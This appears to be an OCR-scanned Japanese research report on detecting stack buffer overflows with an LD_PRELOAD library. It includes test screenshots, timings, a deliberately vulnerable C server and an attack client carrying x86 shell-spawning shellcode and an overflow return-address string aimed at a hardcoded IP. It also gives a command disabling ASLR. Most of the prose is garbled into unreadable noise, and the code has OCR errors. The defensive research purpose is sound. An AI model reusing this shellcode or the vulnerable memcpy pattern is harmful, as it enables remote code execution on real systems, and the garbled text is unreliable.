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gbogdobboogbsiigbboogbbugobooobobooobbagn
gboboooooobooooboboboboboboboboboobobooo
gobbbugobbbooogbobboooobboboooobobod

gobbbooogbbobuoooobobooobbobuoooobbbooaoon
gobobodoo4igo4200000bobobooobbobooobbbuooooon
O000000o0ooooobooboobouobdbDdbreecvhOD buf0DOoooonO
gobbobuoogoboboooobbbooooobbbogd sysreevtd 00O
0000000000000 00000000 (41a-142a-) 00000000000
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recv() recv() —

-1 Data 0ld Data
@7ns3 (b)y70s>
LTI LER%

041: 0000000000 (Dooooooon)

recv() recv() —

0ld Data

- Data 0ld Data
(@)7a4g5 (b)y7a455
LZEEH] LZEBR

0 42: 0000000000 (CoOooOO)
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00000000000000000000000000000000000000
0000000000 (4.1a-2)0

00000000000reev000 buf0000000000000buf0000
0000000000000000000 (04.1b-1)00000000000000
000000000000000000000000 (04.1b-2)000000000
recurn0 0000 buf 0000000000000 0000000000000000
00000000000000000000000000000000000000
000 (4.2b-3)0

000000000000000000000000000000 1000300
00000000000000000000000000000000000000
00000000002000000000000000

4.2 OJO0O0OO0O0OO0O0O0O

O0000O0O000ooo0o0oDoO00ooOo0O0ooLb PRELOADOOODODOO
gogbbobobboboogobbbuoooobobobooooboobooogoooboa
gobbbuoodgbobbooodgbobboooobbbuoooobbbooobbh
O00OOebpO 0000000 0ODO0ODOODOOOOODOODODODOOOOODODO
gogbbbuoggobboooobooboooobbobuoooobbbuooooon
gobbbuoodgbobbooodgbbboooobbbuoooobbbooobbh
gobbbuogobbboooobbobuoooobboooobbboood

4.3 UO0O0O0OO0OOO0OOO

ggobbobobbouogooooobbobobbouooooooob 3200000
gbogboboobooboboobuoobobboobuoobobobooboobon
gogbbbuoodgbobbooodgbbboooobbbuoooobbbooobbh
gobobooogboooboodao

gd42000000000000000obobboobobbobooooooooobooon
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U-B

U-C

043 0000(@O0O0O0O0OO0O0)

gobbbuodgbobbooogbobobuoooobbbuoooobbboooobon
gobbobuoggobbooooooboooobbobuoooobbbooooboon
gboobobobobboboobuoobooboobobbobooboobon
gobboooogbbodad
gobbbooogbbobuoooobobooobbbuoooobbbouooaoon
gboobobobobboboobuoobooboobobbobooboobon
gobbbuggbobbooogbobbuoooobbbuooobbbuooobon
goobobboobbouooooobo 3d2b0bbboouoooooobobooobo
gbbogoboobboobbooboob4300b0o0bbooobooboboon
gbobbuooobuooobbuoogbboobboobbooobbbuooobb 1t
I T A A I s 3 Y
gbogbugboobgobooboob 200bo0boobooboobod
gobbbuoggobbodo

gobobuoooobbobuoooog
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guogobbbooodgbbboood

[\)

agooobbbuoooobbobuoooobboboo

w

gdooobbbuogobbbooogobbooogboboboooubobooboa
gbobbboooobbboooobbboooobbbuoooobbbooan
gobbboooobobbboooobobobooogn

=~

dguooobbbuooobboboodobboooobobobooouboboboo
gobbboooobbbuooobobbbooodobbb

ot

ao3gdgbobobooogbobuoooobbbuooobobbbooooboobooo

=)

dooobbbodoodgboobuoo41boboooobooogo

\]

.gboooboobooboobog

gobbooggbboboooobobooobon

1.0b0bogogboboooobn
2.0000000O000DO0O0DOOODODOODLOO420000000000000
. 0u0ggbbbuoooobboogn

4.000000000000O0O0DO0OO
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50

HRERERERN

gooobo3gbobo40b00booboobboboboobooboobd
gobbbuogoobboogoobooboooobobuoooobbbooonboon
goooon

e OS fedora core 5
e CPU pentium 4 2.4Ghz HT O O
e memory 512MByte

e kernel 2.6.17.8

5.1 QOO0

ggogdoooobbbboooooooouooobobbobboboooooo
goooobbbbbbobooooooooobobbbbbooooooooooon
0000000 fedoracores D00 00O OOOOODODODOODOO0OOOODODOO
gogouoobobbobbooooobbbbbooooouooooobbbouoooo
goooobbbbbbooboooooouoooobbbn
echo0 > /proc/sys/kernel/randomize_va_space

000000000000 D000b0D0D funcADODOOODOOODOOODODODO
O00o0oobOoboo0o20b00000b0b0004Byteb 0D 0O0DOODOODODOOO



r root® kissa2:~/workspacefhack4_detect/test

=B %]

ZrANE REE FTRN HFEO £ITB) ~AFH)
[root@kissaZ test]# 1s
a aa aaaa b
[root@kissa? test]# ../server
shell code addr= Oxbffff354
recv type = aaa
recv data = bbb

recv type = .. .......... 3....F3.°jT. '..” =R, h,../D, .,
RS
recv data = aaaabbbbcecece, .. T

a aa aaaa b
[root@kissa? test]# D

root@ kKissaZ:=fworkspacefhack

Z7ANE REE FTN fHEHEO £FB) ~AFH)
[root@kissa? hack]# ./client
send attack data(l), quit(2) , send mess(3)
>3
input first message : aaa

recv = ok
input second message : bbb
recv = ok

send attack data(l), gquit(2) , send mess(3)
>1

recv = ok

recv = ok

sind attack data(l), quit(2) , send mess(3)
>

gsl:00000ooon

= XJTI0X ]

X Bhn/1sh//bi

[+]
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i 0 root® kissa2:~/workspace/hackd_detect/test \Z\ \E\ Er
ZrANE RERE #EN EERD FIB) ~FH)

[root@kissa2 test]# ../int.sh ../server
Executing ../server

<3064>

[SAVE_HIST INTO_LIB] (call_hist = b7ffdBa0)

[+]

shell code addr= Oxbffff364
recv type = ... ... ... 3....F3 4T, '.." =R.h.../D... = XjTji(X'j
X Rhn/1lsh//bi
RS
recv data = aaaabbbbcccc. . . d

../int.sh: line 12: 3064 3% %|§ T B
[root@kissa2 test]# D

] (4 [T

Z74ME REE FTN EED FFEB) ~FH)
[root@kissa? hack]# ./client
send attack data(l), gquit(2) , send mess(3)
=1
recv = ok
recv = ok
sind attack data(l), quit(2) , send mess(3)
>

05200000000 ((100)

gobbbuogggbobobbuoooobbobbooooobbobooooobb 200
recv 00000000 funcAODOOOODOOfumcADDOOODOOODOOODOOOO
O0funcAODOOOODOOOOOODODOOOODODOODODOOOODOODOD
gbobogobboobbodbooobbuoobooboobboooobboonn
OooOoooOooOoooIpsboooooooboooooooogos1bobobonDoo
O00obOoboDobo0ooooboDoob0obU0obD0boboobOoD aaalbbbO OO
0000000000 00oDooOo00ooDooooooooO (O0s5100)0D00000
gbogbbobboobooboobboobooboobOdserverd 0000
00 1s00000000000 (0 5100)0
gbbobudbooobuoobboobbooooobagbs2boubbooon
gbogbuoobugobgoboobuooboboboooboobooboobod
ggbbobuooobboobbbuoooobbbuoooobbbuoooobbboo
gobbobuogoobboooooboboooobbbuoooobobboooobon
000000000000 00000000 (052) 000000000000 OOO
gbbuogbbuogobboobbooobooobooobooobboobboob



root@ kissaZ:~fworkspace/hack4”detect/test

FrAnB REE FRN EED FIEB) ~TH)

[root@kissa? test]# ../int.sh ../server
Executing ../server

<3180

[SAVE_HIST_INTO_LIB] (call_hist = b7ffdBa0)
shell code addr= Oxbffff364

recv type = 4

recv data = aaaabbbbccecc | d

detected!

find buffer over flow!!
recv type = aaa
recv data = bbb

root® kissa2:~/workspace/hack

=/Bx]

Zr4mBE REE FEM HFEO FIEB ~AFH
[root@kissa2 hack]# ./client
send attack data(l), quit(2) , send mess(3)
>1
recv = ok
recv = ok
send attack data(l), quit(2) , send mess(3)
>3
input first message : aaa

recv = ok
input second message : bbb
recv = ok

Sﬁnd attack data(l), quit(2) , send mess(3)
=

[+]

053 00000000 (200)
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g s51: 0000

gboobD |0Db 100 uo 1+2
goooo 0 [ ot |10 (2000
00 (msec) 52 1903 121 | 1051 123
g 1 35.9 2.3 | 198 2.3

gboobgbobobobobobo20b0bobobobbobgobs3tnood
gboboboboogbobil1dbboobbudbDreevtype 000000 oooonOon
gobbbuogoobboooooboboooobobboooobbbuoooobooon
gogoobo

000000000 2000000000000000 funcAO0ODO memepy 00O
dddibOmemepyUUOOOO0ODUOOOOUOOOOOODDODOOOOOOOYU
gbbodbobuoobbodbbooboobbidimemepy 0000 Oooog
0000000000000 fummcAODDOOOODOOOODOOODOOOOODDOOO

0000000000000 000000000000000000 (O 5.3)0

5.2 OO0

s.lubbuoooobbboooobobobuooobbboooboboboooobobogd
gbogol1gboobboobooboo110ob 20000000000 3bb0n
gobbobuoooob20bbboooobbbuooobbbuoooobbbon
gogbbbuoggobbooogooboooobobbuoooobobbuooooon
gbogboobil1obobbobbobb200b00b00booboobobob
ggboooodgboo

gobbobouogoobobooogbo

> time ./int.sh ./server

O00ntshOOOODOODOOODOODOOODOODOO LD PRELOADODOOODOODO
gbobobobobobooobooboobo pCObb0ObDODbDODnO clientO
gobbobuoooobbbuoooobbobuooiloooooboboood
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gboobuoobdoobilgobgoobooboobooboobooboobo
00 (051)00000000020000000000000000000O00O00O0O
g230d0dbopbbobbougogooboboobbobodoooooooobobooon
gboboboboboobolgbooboboboobobooobobobobo2
ggobobbobbodooooooobbboobbbodoooooboobobog 230
gobobooodad
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6l

HRERE

gobbboogbbbuoooobbbooobbbuoooobbbuooobon
gobbbuogoobbooooooboooobbobuoooobobbooonboon
gobbbuoogobbooooobobooooboboboooobbbuoooobooon
gbbooboobobobooobodobuodgbuoooboooboobooboob
gbbogbodgbbugobbuooobooobbuoobbuooboboooboboon
gobbbuoogobbooooobobooooboboboooobbbuoooobooon
gogbbbuooobboooobobbboodobbboooobbboood

gobbbooogbbbuoooobbbuooobbobuoooobbbuooaoboon
gobbbuoooobboooooboboooobboboooobbbuoooobooon
ggbbbuoodgobbooodgbobbuoooobbbuooobbbooobobn
gobbobuooobobuoooobboboooobbboooboooobobobod
gobbbuogoobbooooooboooobobboooobbbuooooon
goboog

O0ob0O0 linxdOOoOoooooboobOooooooboboboooooo
gobbbuogoobbooooooboooobobboooobbbuooooon
gboboboooooooooo200booboobogbgboboobobobobo
gobbbuooobobboooobooboooobbbuoooobbboooobon
gogbbobugoobobuoooobbbuooooboobbobooogboboboa
gboobgoboobob23000b000b00boobgon
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gobbboodgbbbuoooobbbooobbbuoooobbbooobbn
gobbbuoooobboooobooboooobbbuoooobbboooobon
gogbbbuogoobbooogooboooobbobuoooobbbuooooon
gobbbuoodgbobbooodgbbboooobbboooobbbooobbh
gobbbouogoobbodao
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HREN

gobbbooobobobuoooobobooobbobuoooobbbuoooooon
gobbbuooobobbooogbbbuoooobbobuoooobbbooobo

gobbbooogbbbuoooobbobooobbbuoooobbboooabon
goboboooooooboogao
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HREN

gobbboooobbboooobobboooobbbooooboboboooon

Joboooooood

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <inttypes.h>
#include <fcntl.h>

#include <sys/time.h>
#define BUFFSIZE 1024

//dump memory for debug

void printmem(const unsigned char *str, int size){
int i;
printf ("mem dump(%x)",str);

for(i=0;i < size;i++)

35



printf (" %02x",str[i]);
printf("\n");
}
//this function has a bug
void funcA(char *data){
char str(8];
printmem(str,36);
memcpy (str,data, strlen(data));//this is a bug
printmem(str,36) ;
}
//0000000
unsigned long long get_time(void){
struct timeval tv;
gettimeofday (&tv,NULL) ;
return((unsigned long long)tv.tv_sec*x1000%1000 + tv.tv_usec);
}
//00000000000D00000O0
void big_func2(char *file_name){
char buffer [BUFFSIZE];
int fd;
int read_num;
fd = open(file_name, O_RDONLY);
if (fd < 0)
printf("error\n");
while((read_num = read(fd,buffer, BUFFSIZE))
== BUFFSIZE);

close(fd);

36



//0000000000000000
void big_func(int ss,char *file_name){
char buffer[BUFFSIZE];
int fd;
int read_num;
struct stat file_info;
fd = open(file_name, O_RDONLY);
if (fd < 0){
printf ("error\n");
read_num = 0;

send(ss,&read_num,sizeof (int),0);

if (fstat(fd, &file_info) < 0)

printf("error at fstat\n");

read_num = file_info.st_size;
printf("len = %d\n",read_num);
send(ss,&read_num,sizeof (int),0);
while((read_num = read(fd,buffer, BUFFSIZE))

== BUFFSIZE){

send(ss,buffer,read_num,0) ;
}
close(fd);

int main(int argc,char **argv){
unsigned long long t1,t2;

struct sockaddr_in server,client;
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int len,n,num,s,ss;

char type[BUFFSIZE];
char data[BUFFSIZE];
char str_ok[] = "ok";

printf("shell code addr=\tOx%x\n", (unsigned int)type);

//init for connect

s = socket (PF_INET, SOCK_STREAM, 0);

memset (&server, 0, sizeof(server));
server.sin_family = PF_INET;

server.sin_port = htons(5001);
server.sin_addr.s_addr = htonl (INADDR_ANY);

bind(s, (struct sockaddr *)&server, sizeof(server));
len = sizeof(client);

listen(s,1);

/0000

ss = accept(s, (struct sockaddr *)&client, &len);

tl = get_time();//0000O00O0O0O0OOO0O0OO0O0ODOOO
while(1){
n = recv(ss,type , BUFFSIZE, 0);//recv shell_code
printf("recv type = %s\n",type);
if (strstr(type,"quit") != NULL)

break;

send(ss,str_ok,strlen(str_ok)+1,0);

n = recv(ss,data , BUFFSIZE, 0);//recv overflow data
printf("recv data = %s\n",data);

//send(ss,str_ok,strlen(str_ok)+1,0);



big_func(ss,data);
funcA(data);

+

big_func2(data);

close(ss);

t2 = get_time();
printf("time = %d\n",t2 - t1);

return O;

oooooodoogn

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include<sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include<inttypes.h>

#include <netdb.h>

unsigned char  x86_wrx_sh[256] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x33\xdb\xf7\xe3\xb0\x46\x33\xc9\xcd\x80\x6a\x54"
"\x8b\xdc\xb0\x27\xb1\xed\xcd\x80\xb0\x3d\xcd\x80"
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"\x52\xb1\x10\x68\xff\x2e\x2e\x2f\x44\xe2\xf8\x8b"
"\xdc\xb0\x3d\xcd\x80\x58\x6a\x54\x6a\x28\x58\xcd"
"\x80\x6a\x0b\x58\x99\x52\x68\x6e\x2f \x6c\x73\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80";
//00000000000000
//aaaabbbbccccddddeeece.. 00000000000
//\x98\xff\xff\xbf...0 0 0 O ebp
//\x64\xf5\xff\xbf..0 00000

char x86_ret[] = "aaaabbbbccccddddeeee\x98\xff\xff\xbf\x64\xf5\xff\xbf";

#define NET_BUFSIZE 1024
void recv_file(int ss){
char str[NET_BUFSIZE];
int file_size;
int one_size;
recv(ss,&file_size,sizeof (int),0);
printf ("%d\n",file_size);
while(1){
if(file_size <= 0)
break;

file_size -= recv(ss,str,NET_BUFSIZE,O);

int main(int argc,char **argv){
int ss;

struct sockaddr_in server;

)
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struct hostent *servhost;
int c,n,type,type2;
char buf [NET_BUFSIZE];

if (argc < 2)

type = 1;
else
type = atoi(argv[1i]);

servhost = (struct hostent*)gethostbyname("133.68.15.212");

memset (&server, 0, sizeof(server));
server.sin_family = AF_INET;

server.sin_port = htons(5001);

memcpy ((charx)&(server.sin_addr), servhost->h_addr, servhost->h_length);

ss = socket (AF_INET, SOCK_STREAM, 0);

connect(ss, (struct sockaddr*)&server, sizeof (server));

if(type == 1{//0000000000
while(1){
printf("send attack data(l), quit(2) , send mess(3)\n>");
scanf ("%d",&type2) ;
if (type2==1){
send(ss,x86_wrx_sh,strlen(x86_wrx_sh)+1,0);
n = recv(ss,buf , NET_BUFSIZE, 0);//send shellcode
printf ("recv = %s\n",buf);
send(ss,x86_ret,strlen(x86_ret)+1,0);//send overflow data

recv_file(ss);



}

else if(type2 == 2){
send(ss,"quit",5,0);
break;

}

elseq
printf ("input first message : ");
scanf ("%s",buf) ;
send (ss,buf,strlen(buf)+1,0);
n = recv(ss,buf , NET_BUFSIZE, 0);

printf("recv = %s\n",buf);

printf ("input second message : ");
scanf ("%s",buf) ;
send(ss,buf,strlen(buf)+1,0);
recv_file(ss);

3

}

else if(type == 2){//00 000
send(ss,x86_wrx_sh,strlen(x86_wrx_sh)+1,0);
n = recv(ss,buf , NET_BUFSIZE, 0);//send shellcode
printf ("recv = %s\n",buf);
send(ss,x86_ret,strlen(x86_ret)+1,0);//send overflow data
recv_file(ss);
send(ss,"quit",5,0);

}

else{//000000O000O0DO0 (UDOOODO)
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send(ss,"file",5,0);
n = recv(ss,buf , NET_BUFSIZE, 0);
printf("recv = %s\n",buf);
send(ss,"15MB",5,0);
recv_file(ss);
send(ss,"quit",5,0);

}

close(ss);

return O;
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